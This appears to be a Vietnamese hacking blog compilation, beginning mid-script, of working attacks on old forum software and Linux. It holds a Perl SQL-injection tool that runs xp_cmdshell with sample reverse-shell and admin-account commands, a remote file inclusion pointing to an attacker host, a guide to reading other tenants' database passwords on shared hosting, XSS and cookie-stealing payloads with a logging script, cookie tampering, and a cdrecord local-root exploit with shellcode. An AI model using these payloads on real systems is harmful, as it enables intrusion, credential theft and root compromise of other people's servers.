chomp $webserver;
if( $webserver eq "" )
{
$webserver = "www.enterthegame.com";
}

print "\nWeb server port? [80]: ";
my $port = <STDIN>
chomp $port;
if( $port eq "" )
{
$port = 80;
}

print "\nAbsolute path to \"register.asp\"? [/forum/register.asp]: ";
my $path = <STDIN>
chomp $path;
if( $path eq "" )
{
$path = "/forum/register.asp";
}

print "\nCommand to execute non-interactively\n";
print " Example commands: tftp -i Your.IP.Here GET nc.exe\n";
print " nc.exe -e cmd.exe Your.IP.Here YourNetcatListeningPortHere\n";
print " or: net user h4x0r /add | net localgroup Administrators h4x0r /add\n";
print "Your command: ";
my $command = <STDIN>
chomp $command;
$command =~ s/\ /\%20/g;

if( open_TCP( FILEHANDLE, $webserver, 80 ) == undef )
{
print "Error connecting to $webserver\n";
exit( 0 );
}
else
{
my $data1 = $path . "\?mode\=DoIt";
my $data2 = "Email\=\'\%20exec\%20master..xp_cmdshell\%20\'" . $command.
"
\'\%20--\&Name\=snitz";
my $length = length( $data2 );

print FILEHANDLE "POST $data1 HTTP/1.1\n";
if( $port == 80 )
{
print FILEHANDLE "Host: $webserver\n";
}
else
{
print FILEHANDLE "Host: $webserver:$port\n";
}
print FILEHANDLE "Accept: */*\n";
print FILEHANDLE "User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)\n";
print FILEHANDLE "Keep-Alive: 300\n";
print FILEHANDLE "Referer: http:\/\/$webserver$path\?mode\=Register\n";
print FILEHANDLE "Content-Type: application/x-www-form-urlencoded\n";
print FILEHANDLE "Content-Length: $length\n\n";
print FILEHANDLE "$data2";

print "\nSQL injection command sent. If you are waiting for a shell on your listening\n";
print "netcat, hit \"enter\" a couple of times to be safe.\n\n";

close( FILEHANDLE );
}

sub open_TCP
{
my( $FS, $dest, $port ) = @_;

my $proto = getprotobyname( 'tcp' );
socket( $FS, PF_INET, SOCK_STREAM, $proto );
my $sin = sockaddr_in( $port, inet_aton( $dest ));
connect( $FS, $sin ) || return undef;

my $old_fh = select( $FS );
$| = 1;
select( $old_fh );
return 1;
}
 

Thứ Ba, 22 tháng 3, 2011

Lỗi bảo mật của YaBBse 1.5.2


Advisory name: Thi hành lệnh từ xa trong YaBBse 1.5.2 (php version)
Application: Yet another Bulletin Board 1.5.2
Vendor: www.yabbse.org
Date: 06.05.2003
Impact: Attacker có thể sử dụng code php tùy tiện
Vấn đề:
Tên file là SSI.php.
Lỗi này tương tự như version YaBB 1.5.1.

SSI.php:
------------------------------------------
include_once ($sourcedir . '/Errors.php');
include_once ($sourcedir . '/Subs.php');
include_once ($sourcedir . '/Load.php');
------------------------------------------

Ta có thể xác định biến $sourcedir thông qua URL và include vài PHP script local hay
remote nếu remote inclusion có hiệu lực trong file php.ini.
Bug này không khai thác được nếu registar_globals được set sang OFF.

Khai thác:
http://www.victim.com/yabbse/ssi.php?sourcedir=http://www.attacker.com

Attacker có thể thay file Errors.php lên server.

Giải pháp:
Thêm dòng này trước dòng include_once() mà ta đề cập ở trên.

if (!isset($sourcedir)) $sourcedir = "";


Ta cũng nên chú ý đến dòng này
------------------------------------------
(Line #031) $full_yabbse_path = '.';
(Line #048) include_once ($full_yabbse_path . '/Settings.php');
------------------------------------------

và trong Settings.php:
------------------------------------------
(Line #067) $sourcedir = "/home/something/board/Sources";
------------------------------------------

vì thế trước khi Errors.php được include, $sourcedir thì *luôn luôn* set sang một
giá trị, ghi đè lên bất kỳ biến nào mà đi qua URL.
 

Giới thiệu phương pháp Hack Local


Hack local hiện nay rất phổ biến , các bạn chỉ cần có chung host thì các bạn có thể hack được , với điều kiện là host bảo mật ko quá cao.
Điều kiện cần :

Bạn cần phải up 1 file view.pl lên host mình để hack, chmod 775 nhé !
+ Các lệnh để hack :

ls -al : lệnh này để xem thông tin

cd : lệnh này dùng để chuyển thý mục

Cat : lệnh này dùng để xem info database

Thường, với bảo mật ko quá cao, bạn chỉ cần dùng 3 lệnh cơ bản này là đủ rôì nhé !!
+ Tiến hành :

Sau khi up lên host, bạn chạy con view.pl nhé , khi đó nó sẽ đưa lên 1 màng hình đen để hack , bạn nhập pass vào nhé ...

+ sau khi nhập pass, bạn sẽ có đường dẫn là : [admin@www.tênweb/home/kc/public_html/cgi-bin] , đây là đường dẫn đầu tiên từ host của bạn , bạn dùng lệnh cd /home/ , khi đó đường dẫn sẽ là [admin@www.tênweb/home] , bạn dùng lệnh ls -al để xem tất cả các host đang ở cùng trên sever của bạn. vd nhý chúng ta sẽ hack host của hoangtudaumat , bạn tiếp tục dùng lệnh cd hoangtudaumat , khi đó sẽ có đường dẫn là : [admin@tenweb/home/hoangtudaumat/] , khi này , các bạn cần phải dùng lệnh chuyển đến public nhé , vẫn dùng lệnh : cd public_html , khi này , bạn đã có đường dẫn là [admin@tenweb/home/hoangtudaumat/public_html] , để xem các thý mục của public, bạn dùng lệnh ls -al nhé , khi này, các bạn sẽ thấy các tập tin như :forums . index.html .....

Ðể hack , bạn tiếp tục dùng lệnh cd forum , khi đó , đường dẫn của bạn sẽ là [admin@tenweb/home/hoangtudaumat/public_html/forum] , bạn tiếp tục dùng lệnh ls -al để xem , các bạn sẽ thấy các file :conf_global.php , downloads_config.php ...... , để xem thông tin của database , bạn dùng lệnh cat conf_global.php nhé , khi này, bạn đã giử được database ở trong tay rồi đấy ,

User database là $INFO['sql_database']

Pass database là $INFO['sql_pass'

Để đoạt quyền admin, bạn ghi 1 code rồi up lên host của mình và cho nó khởi động là okie thôi ( vì tính chất nguy hiểm nên mình ko ghi được, các bạn thông cảm nhé ).
         

VBulletin Preview Message - Lỗi XSS


Thông tin:
Website: http://k.domaindlx.com/clairsang/www.vbulletin.com/default.htm
Version bị lỗi: vBulletin 3.0.0 Beta 2
Version không bị: vBulletin 2.2

Code khai thác:
Nhớ đăng nhập trước
<html>
<body>
<form action="http://[victim]/forum/private.php" method="post"
name="vbform">
 <input type="hidden" name="do" value="insertpm" />
 <input type="hidden" name="pmid" value="" />
 <input type="hidden" name="forward" value="" />
 <input type="hidden" name="receipt" value="0" />

 <input type="text" class="bginput" name="title" value="" size="40"
tabindex="2" />
 <textarea name="message" rows="20" cols="70" wrap="virtual"
tabindex="3"></textarea>
 <input type="submit" class="button" name="sbutton" value="Post Message"
accesskey="s" tabindex="4" />
 <input type="submit" class="button" value="Preview Message" accesskey="p"
name="preview" onclick="this.form.dopreview = true; return
true;this.form.submit()" tabindex="5" >

 <input type="checkbox" name="savecopy" value="1" id="cb_savecopy"
checked="checked" />
 <input type="checkbox" name="signature" value="1" id="cb_signature" />
 <input type="checkbox" name="parseurl" value="1" id="cb_parseurl"
checked="checked" />
 <input type="checkbox" name="disablesmilies" value="1"
id="cb_disablesmilies" />
</form>
<script>
//Set Values và Submit
// Bạn có thể viết mã JS riêng của mình
var xss = "\"><script>alert(document.cookie)<\/script>";
document.vbform.title.value=xss;
document.vbform.preview.click();
</script>
</body>
</html>
Giải pháp:
HTML Encoding like post thread preview page

PhpNuke - Your Account, Lỗi CSS


Francisco Burzi PHP-Nuke 6.5 Final Release

Chưa test nhưng đến 90% có lỗi:
Francisco Burzi PHP-Nuke 5.6
Francisco Burzi PHP-Nuke 6.0
Francisco Burzi PHP-Nuke 6.5 RC3
Francisco Burzi PHP-Nuke 6.5 RC2
Francisco Burzi PHP-Nuke 6.5 RC1
Francisco Burzi PHP-Nuke 6.5
Khai thác:
+http://[victim]/modules.php?name=Your_Account&op=userinfo&username=bla<script>alert(document.cookie)</script>
*Bạn phải đăng nhập trước.
**Một vài servers/hệ thống PHP Nuke có kiểm tra chuỗi "<script>" cho biến Querystrings hay POST (ví dụ: www.phphnuke.org). Nhưng hệ thống này vẫn bị lỗi. Bạn chỉ cần làm theo như thế với vài thủ thuật JS.
Giải pháp:
Kiểm tra các chuỗi đó là OK !


Hack ForumSnitz


Bài này được viết chỉ với mục đích học tập. Tôi sẽ không chịu bất kì trách nhiệm nào nếu các bạn dùng nó vào mục đích phá hoại.

SnitzForum có một lỗi khiến cho hacker có thể chạy được JavaScript để lấy cookie. Trong cookie này chứa username và password. Nếu ta lấy được username/pass của admin thì có thể kiểm soát được hoàn toàn forum đó. Sau đây là các bước để hack các diễn đàn dùng SnitzForum
1. Thu thập thông tin: tìm hiểu xem admin ở đó là ai, những chủ đề gần nhất mà hắn đã tham gia 2. Đăng kí 1 free host có hỗ trợ PHP, ví dụ như http://www.f2s.com/, nếu có rồi thì thôi
3.
Soạn thảo và upload 1 file có nội dung như sau (trong bài này đặt tên là page.cgi):

#!/usr/bin/php
<?php
$fp = fopen("mycookie.txt","a+");
fputs($fp,$test . "\n");
readfile("mypic.gif");
?>
4. upload một file ảnh hợp lệ nào đó (trong bài này là mypic.gif) lên cùng thư mục với page.cgi. File ảnh này dùng để trả về sau khi script chạy. Nên dùng ảnh nào có kích thước càng nhỏ càng tốt, ví dụ 1x1 pixel chẳng hạn. 5. Gửi vào các chủ đề mà admin tham gia nội dung sau:

...... any thing you want
[img]http://www.yourpage.f2s.com"onerror="this.src=src+'page.cgi?test='+escape(document.cookie);[/img]
6. Bất kì ai vào đọc topic đó sẽ bị chôm cookie. Các bạn chỉ việc ngồi đợi, khỏi phải làm gì hết. Muốn xem kết quả thì chỉ việc mở file mycookie.txt ở cùng thư mục với file page.cgi là xong.
Kĩ thuật này có thể áp dụng vào SnitzForum bản mới nhất.
 

Thứ Hai, 14 tháng 3, 2011

Đánh lừa Invision Board


Đối với Yahoo ! Messanger chúng ta có thủ thuật online cùng một lúc cả hai nick
thì nay đối với Invision Board ta cũng có thể sử dụng một thủ thuật tương
tự như vậy.

Đối với Yahoo ! Messanger chúng ta có thủ thuật online cùng một lúc cả hai nick
thì nay đối với Invision Board ta cũng có thể sử dụng một thủ thuật tương
tự như vậy.

Ví dụ: bạn có một user name là Quan Vân Trường và một user name là Quan Vũ trên
forum nào đó thì với thủ thuật này bạn sẽ là cho cả hai user name đó cùng
hiển thị trên mục “Các thành viên đang Online”.

Để thực hiện thủ thuật này, bạn cần phải cho cả hai nick ấy có cùng
password., biết được ID của cả hai user name trên forum (cái này có thể biết
được qua phần “Thành viên thứ:***” trong Profile của bài viết). Và một tí
hiểu biết về cookie .
Bắt đầu thực hiện:
Giả sử khi bạn đăng nhập vào forum với user name là Quan Vân trường thì forum
sẽ tạo ra một cookie để lưu trử thông tin đăng nhập của bạn (cookie nằm
tại \Windows\Cookies\ - đối với Win 98 hoặc Documents and Settings\[username]\Cookies\ -
đối với Win XP).
Một cookie thường có dạng sau:

anonlogin
-1
vnhacker.org/
1536
3481636736
29633734
1131861200
29560300
*
member_id
12795
vnhacker.org/
1536
331586176
29634344
3381957936
29560909
*
pass_hash
e10adc3949ba59abbe56e057f20f883e
vnhacker.org/
1536
331586176
29634344
3384857936
29560909
*

Hãy chú ý những dòng được in đậm, member_id: là ID của user name Quan Vân
Trường, pass_hash: là password đã mã hoá MD5 của user name Quan Vân Trường (hé hé
cái password đã được mã hoá kia không phải là password thật của tớ đâu…
đừng có mơ nhé… dãy chử + số loằn ngoằn ấy chỉ đơn giản là các con số
123456 đã được mã hoá thôi… hé hé)

Và xem tiếp một đoạn nhỏ trong file Login.php của bộ IBF:

CODE

$mid = $std->my_getcookie('member_id');
$pid = $std->my_getcookie('pass_hash');

If ($mid and $pid)
{
$DB->query("SELECT * FROM ibf_members WHERE id=$mid AND password='$pid'");




Chính các đoạn mã này nhận nhiệm vụ kiểm tra password của ID nằm trong cookie
có giống với password của ID trên Database hay không rồi mới cho đăng nhập bằng
cookie. Ta sẽ lợi dụng điều này.
Nào bây giờ ta sẽ bắt đầu thực hiện thủ thuật:
1/ Sau khi login vào forum với username thứ nhất (ví dụ: Quan Vân Trường), bạn hãy
đóng tất cả các cửa sổ IE lại (chú ý: không được thoát ra khỏi forum - chỉ
đóng các cửa sổ IE lại thôi).
2/ Tìm cookie của forum (tên cookie thường là [username]@[tên forum], ví dụ: quan
vu@vnhacker.org) và mở nó ra.
3/ Tìm dòng member_id sửa số ID của username thứ nhất thành số ID của user name
thứ hai (ví dụ: ID của user name Quan Vân Trường là 12795, ID của username Quan Vũ
là 19762 thì tớ sẽ thay :
member_id
12795
Thành:
member_id
19762).
Còn dòng pass_hash thì giữ nguyên (nếu cả hai user name cùng chung password)
4/ Save cookie đó lại và vào lại forum.

Khi vào forum bạn sẽ rất bất ngờ đấy, cả hai user name Quan Vân Trường và Quan
Vũ đều nằm trong “Danh sách các thành viên đang online”.
Giải thích:
Khi bạn sửa chửa cookie lại và vào lại forum thì server ghi nhận user name thứ hai
như là một login mới, và do trước đó bạn chưa “Thoát” ra khỏi forum nên user
name thứ nhất của bạn vẫn được server ghi nhận là đang online do đó cả hai
user name đều nằm trong “Danh sách các thành viên đang online”
Khiếm khuyết:
Chỉ sử dụng được user name thứ hai thui… còn user name thứ nhất chỉ để đó
chứ không làm gì được cả…
Chú ý: cần phải chắc chắn cả hai user name đều phải cùng chung một password
thì mới có thể thực hiện thành công. Có thể dùng cho 3, 4 user name cũng được
chứ không chỉ hai…
 

PhpNuke - Path Disclosure

Lỗi Path Disclosure ở PHP-Nuke 6.x, và những version khác?
Khai thác:
+http://victim.x/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink&cid=[any_words]
+http://victim.x/modules.php?op=modload&name=Web_Links&file=index&l_op=viewlink
Nếu [any_words] có một giá trị không thuộc số hay là một giá trị NULL, thì nó sẽ đưa ra "path disclosure".


Patch
(đây là temporal patch, nhưng... vẫn tốt)
Trong hàm viewlink chèn thêm code sau:
if(!isset($cid) || $cid == NULL || $cid == "" || !is_numeric ($cid))
{
   echo "I don't like you >:|";
   exit();
}

Local root exploit cdrecord


Hi, here it is local root exploit cdrecord format string bug
Cdrecord come suid root by default on mandrake distro and it can be
executed by anybody.
[wsxz@localhost wsxz]$ ls -l /usr/bin/cdrecord
-rwsr-sr-x 1 root cdwriter 278156 Jan 6 07:2
/usr/bin/cdrecord*
here goes the code or get it on
http://k.domaindlx.com/clairsang/releases.priv8security.org/priv8cdr.pl
priv8cdr.pl
--------cut here------------------------------------------------------
#!/usr/bin/perl
###########################################################
#Priv8security.com Cdrecord version 2.0 and < local root exploit.
#
# Version 1.10 is NOT VULN!!!!
#
# [wsxz@localhost buffer]$ perl priv8cdr.pl 4
# Using target number 4
# Using Mr .dtors 0x808c82c
# Cdrecord 2.0 (i586-mandrake-linux-gnu) Copyright © 1995-2002
Jörg Schilling
# scsidev: '1À1Û°Í1ÛØ°.Íë^1ÀFF
# °
# óV
#
Í1ÛØ@ÍèÜÿÿÿ/bin/sh%.134802669x%x%x%x%x%x%x%x%x%n:'
# devname: '1À1Û°Í1ÛØ°.Íë^1ÀFF
# °
# óV
#
Í1ÛØ@ÍèÜÿÿÿ/bin/sh%.134802669x%x%x%x%x%x%x%x%x%n'
# scsibus: -1 target: -1 lun: -1
# Warning: Open by 'devname' is unintentional and not supported.
# /usr/bin/cdrecord: No such file or directory. Cannot open '.
Cannot open SCSI driver.
# /usr/bin/cdrecord: For possible targets try 'cdrecord -scanbus'.
Make sure you are root.
# /usr/bin/cdrecord: For possible transport specifiers try 'cdrecord
dev=help'.
# sh-2.05b# id
# uid=0(root) gid=0(root) groups=503(wsxz)
# sh-2.05b#
#####################################################
$shellcode =
"\x31\xc0\x31\xdb\xb0\x17\xcd\x80".#setuid 0
"\x31\xdb\x89\xd8\xb0\x2e\xcd\x80".#setgid 0
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89".
"\x46\x0c\xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c".
"\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff".
"\xff\xff/bin/sh";
$cdrecordpath = "/usr/bin/cdrecord";
$nop = "\x90"; # x86 NOP
$offset = 0; # Default offset to try.

if (@ARGV == 1 || @ARGV == 2) {
$target = $ARGV[0];
$offset = $ARGV[1];
}else{
printf(" Priv8security.com Cdrecord local root
exploit!!\n");
printf(" usage: $0 target\n");
printf(" List of targets:\n");
printf(" 1 - Linux Mandrake 8.2 Cdrecord
1.11a15\n");
printf(" 2 - Linux Mandrake 9.0 Cdrecord
1.11a32\n");
printf(" 3 - Linux Slackware 8.1 Cdrecord
1.11a24 not suid by default!!!\n");
printf(" 4 - Linux Mandrake 9.1 Cdrecord
2.0\n");
exit(1);
}
if ( $target eq "1" ) {
$retword = 0x0807af38; #Mr .dtors ;)
$fmtstring = "%.134727238x%x%x%x%x%x%x%x%x%n:";
}
if ( $target eq "2" ) {
# $retword = 0x08084578; #.dtors
$retword = 0x08084684; #.GOT exit
$fmtstring = "%.134769064x%x%x%x%x%x%x%x%x%n:";
}
if ( $target eq "3" ) {
$retword = 0x0807f658;
$fmtstring = "%.134745456x%x%x%x%x%x%x%x%x%x%x%n:";
}
if ( $target eq "4" ) {
$retword = 0x0808c82c; #.GOT exit
$fmtstring = "%.134802669x%x%x%x%x%x%x%x%x%n:";
}
printf("Using target number %d\n", $target);
printf("Using Mr .dtors 0x%x\n",$retword);
$new_retword = pack('l', ($retword));
$new_retshell = pack('l', ($retshell));
$buffer2 = $new_retword;
$buffer2 .= $nop x 150;
$buffer2 .= $shellcode;
$buffer2 .= $fmtstring;
exec("$cdrecordpath dev='$buffer2'
'$cdrecordpath'");
--------cut here-----------------------------------------------